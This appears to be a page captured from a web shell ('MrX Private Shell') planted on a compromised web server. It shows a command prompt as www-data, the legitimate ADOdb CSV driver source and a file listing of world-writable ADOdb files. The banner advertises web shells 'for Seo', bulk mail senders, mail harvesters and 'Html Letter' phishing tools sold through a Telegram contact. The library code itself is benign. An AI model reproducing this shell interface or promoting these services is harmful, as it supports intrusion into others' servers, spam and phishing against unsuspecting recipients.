__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
/**
 * FileDescription
 *
 * Currently unsupported: MetaDatabases, MetaTables and MetaColumns,
 * and also inputarr in Execute.
 * Native types have been converted to MetaTypes.
 * Transactions not supported yet.
 *
 * Limitation of url length. For IIS, see MaxClientRequestBuffer registry value.
 *
 * This file is part of ADOdb, a Database Abstraction Layer library for PHP.
 *
 * @package ADOdb
 * @link https://adodb.org Project's web site and documentation
 * @link https://github.com/ADOdb/ADOdb Source code and issue tracker
 *
 * The ADOdb Library is dual-licensed, released under both the BSD 3-Clause
 * and the GNU Lesser General Public Licence (LGPL) v2.1 or, at your option,
 * any later version. This means you can use it in proprietary products.
 * See the LICENSE.md file distributed with this source code for details.
 * @license BSD-3-Clause
 * @license LGPL-2.1-or-later
 *
 * @copyright 2000-2013 John Lim
 * @copyright 2014 Damien Regad, Mark Newnham and the ADOdb community
 */

// security - hide paths
if (!defined('ADODB_DIR')) die();

if (! defined("_ADODB_CSV_LAYER")) {
 define("_ADODB_CSV_LAYER", 1 );

include_once(ADODB_DIR.'/adodb-csvlib.inc.php');

class ADODB_csv extends ADOConnection {
	var $databaseType = 'csv';
	var $databaseProvider = 'csv';
	var $hasInsertID = true;
	var $hasAffectedRows = true;
	var $fmtTimeStamp = "'Y-m-d H:i:s'";
	var $_affectedrows=0;
	var $_insertid=0;
	var $_url;
	var $replaceQuote = "''"; // string to use to replace quotes
	var $hasTransactions = false;
	var $_errorNo = false;

	protected function _insertID($table = '', $column = '')
	{
		return $this->_insertid;
	}

	function _affectedrows()
	{
		return $this->_affectedrows;
	}

  	function MetaDatabases()
	{
		return false;
	}


	// returns true or false
	function _connect($argHostname, $argUsername, $argPassword, $argDatabasename)
	{
		if (strtolower(substr($argHostname,0,7)) !== 'http://') return false;
		$this->_url = $argHostname;
		return true;
	}

	// returns true or false
	function _pconnect($argHostname, $argUsername, $argPassword, $argDatabasename)
	{
		if (strtolower(substr($argHostname,0,7)) !== 'http://') return false;
		$this->_url = $argHostname;
		return true;
	}

 	function MetaColumns($table, $normalize=true)
	{
		return false;
	}


	// parameters use PostgreSQL convention, not MySQL
	function SelectLimit($sql, $nrows = -1, $offset = -1, $inputarr = false, $secs2cache = 0)
	{
		global $ADODB_FETCH_MODE;

		$nrows = (int) $nrows;
		$offset = (int) $offset;
		$url = $this->_url.'?sql='.urlencode($sql)."&nrows=$nrows&fetch=".
			(($this->fetchMode !== false)?$this->fetchMode : $ADODB_FETCH_MODE).
			"&offset=$offset";
		$err = false;
		$rs = csv2rs($url,$err,false);

		if ($this->debug) print "$url<br><i>$err</i><br>";

		$at = strpos($err,'::::');
		if ($at === false) {
			$this->_errorMsg = $err;
			$this->_errorNo = (integer)$err;
		} else {
			$this->_errorMsg = substr($err,$at+4,1024);
			$this->_errorNo = -9999;
		}
		if ($this->_errorNo)
			if ($fn = $this->raiseErrorFn) {
				$fn($this->databaseType,'EXECUTE',$this->ErrorNo(),$this->ErrorMsg(),$sql,'');
			}

		if (is_object($rs)) {

			$rs->databaseType='csv';
			$rs->fetchMode = ($this->fetchMode !== false) ?  $this->fetchMode : $ADODB_FETCH_MODE;
			$rs->connection = $this;
		}
		return $rs;
	}

	// returns queryID or false
	function _Execute($sql,$inputarr=false)
	{
	global $ADODB_FETCH_MODE;

		if (!$this->_bindInputArray && $inputarr) {
			$sqlarr = explode('?',$sql);
			$sql = '';
			$i = 0;
			foreach($inputarr as $v) {

				$sql .= $sqlarr[$i];
				if (gettype($v) == 'string')
					$sql .= $this->qstr($v);
				else if ($v === null)
					$sql .= 'NULL';
				else
					$sql .= $v;
				$i += 1;

			}
			$sql .= $sqlarr[$i];
			if ($i+1 != sizeof($sqlarr))
				print "Input Array does not match ?: ".htmlspecialchars($sql);
			$inputarr = false;
		}

		$url =  $this->_url.'?sql='.urlencode($sql)."&fetch=".
			(($this->fetchMode !== false)?$this->fetchMode : $ADODB_FETCH_MODE);
		$err = false;


		$rs = csv2rs($url,$err,false);
		if ($this->debug) print urldecode($url)."<br><i>$err</i><br>";
		$at = strpos($err,'::::');
		if ($at === false) {
			$this->_errorMsg = $err;
			$this->_errorNo = (integer)$err;
		} else {
			$this->_errorMsg = substr($err,$at+4,1024);
			$this->_errorNo = -9999;
		}

		if ($this->_errorNo)
			if ($fn = $this->raiseErrorFn) {
				$fn($this->databaseType,'EXECUTE',$this->ErrorNo(),$this->ErrorMsg(),$sql,$inputarr);
			}
		if (is_object($rs)) {
			$rs->fetchMode = ($this->fetchMode !== false) ?  $this->fetchMode : $ADODB_FETCH_MODE;

			$this->_affectedrows = $rs->affectedrows;
			$this->_insertid = $rs->insertid;
			$rs->databaseType='csv';
			$rs->connection = $this;
		}
		return $rs;
	}

	/*	Returns: the last error message from previous database operation	*/
	function ErrorMsg()
	{
		return $this->_errorMsg;
	}

	/*	Returns: the last error number from previous database operation	*/
	function ErrorNo()
	{
		return $this->_errorNo;
	}

	// returns true or false
	function _close()
	{
		return true;
	}
} // class

class ADORecordset_csv extends ADORecordSet {

	function _close()
	{
		return true;
	}
}

} // define

Filemanager

Name Type Size Permission Actions
adodb-access.inc.php File 2.15 KB 0777
adodb-ado.inc.php File 16.21 KB 0777
adodb-ado5.inc.php File 17.3 KB 0777
adodb-ado_access.inc.php File 1.48 KB 0777
adodb-ado_mssql.inc.php File 4.02 KB 0777
adodb-ads.inc.php File 19.34 KB 0777
adodb-borland_ibase.inc.php File 2.43 KB 0777
adodb-csv.inc.php File 5.09 KB 0777
adodb-db2.inc.php File 44.18 KB 0777
adodb-db2oci.inc.php File 4.31 KB 0777
adodb-db2ora.inc.php File 2.23 KB 0777
adodb-fbsql.inc.php File 6.81 KB 0777
adodb-firebird.inc.php File 33.44 KB 0777
adodb-ibase.inc.php File 22.55 KB 0777
adodb-informix.inc.php File 1.21 KB 0777
adodb-informix72.inc.php File 14.76 KB 0777
adodb-ldap.inc.php File 10.9 KB 0777
adodb-mssql.inc.php File 30.52 KB 0777
adodb-mssql_n.inc.php File 7.75 KB 0777
adodb-mssqlnative.inc.php File 35.32 KB 0777
adodb-mssqlpo.inc.php File 1.41 KB 0777
adodb-mysqli.inc.php File 52.86 KB 0777
adodb-netezza.inc.php File 5.12 KB 0777
adodb-oci8.inc.php File 47.52 KB 0777
adodb-oci805.inc.php File 1.79 KB 0777
adodb-oci8po.inc.php File 7.37 KB 0777
adodb-oci8quercus.inc.php File 2.3 KB 0777
adodb-odbc.inc.php File 18.53 KB 0777
adodb-odbc_db2.inc.php File 6.87 KB 0777
adodb-odbc_mssql.inc.php File 12.41 KB 0777
adodb-odbc_mssql2012.inc.php File 1.15 KB 0777
adodb-odbc_oracle.inc.php File 3.34 KB 0777
adodb-odbtp.inc.php File 23.25 KB 0777
adodb-odbtp_unicode.inc.php File 1.42 KB 0777
adodb-oracle.inc.php File 9.34 KB 0777
adodb-pdo.inc.php File 21 KB 0777
adodb-pdo_dblib.inc.php File 5.8 KB 0777
adodb-pdo_firebird.inc.php File 10.33 KB 0777
adodb-pdo_mssql.inc.php File 1.84 KB 0777
adodb-pdo_mysql.inc.php File 9.75 KB 0777
adodb-pdo_oci.inc.php File 3.41 KB 0777
adodb-pdo_pgsql.inc.php File 10.2 KB 0777
adodb-pdo_sqlite.inc.php File 6.33 KB 0777
adodb-pdo_sqlsrv.inc.php File 4.4 KB 0777
adodb-postgres.inc.php File 1008 B 0777
adodb-postgres64.inc.php File 31.94 KB 0777
adodb-postgres7.inc.php File 9.27 KB 0777
adodb-postgres8.inc.php File 2.4 KB 0777
adodb-postgres9.inc.php File 1.13 KB 0777
adodb-proxy.inc.php File 1.12 KB 0777
adodb-sapdb.inc.php File 5 KB 0777
adodb-sqlanywhere.inc.php File 3.44 KB 0777
adodb-sqlite.inc.php File 11.78 KB 0777
adodb-sqlite3.inc.php File 18.61 KB 0777
adodb-sqlitepo.inc.php File 2.05 KB 0777
adodb-sybase.inc.php File 12.14 KB 0777
adodb-sybase_ase.inc.php File 3.5 KB 0777
adodb-text.inc.php File 8.41 KB 0777
adodb-vfp.inc.php File 2.6 KB 0777
Filemanager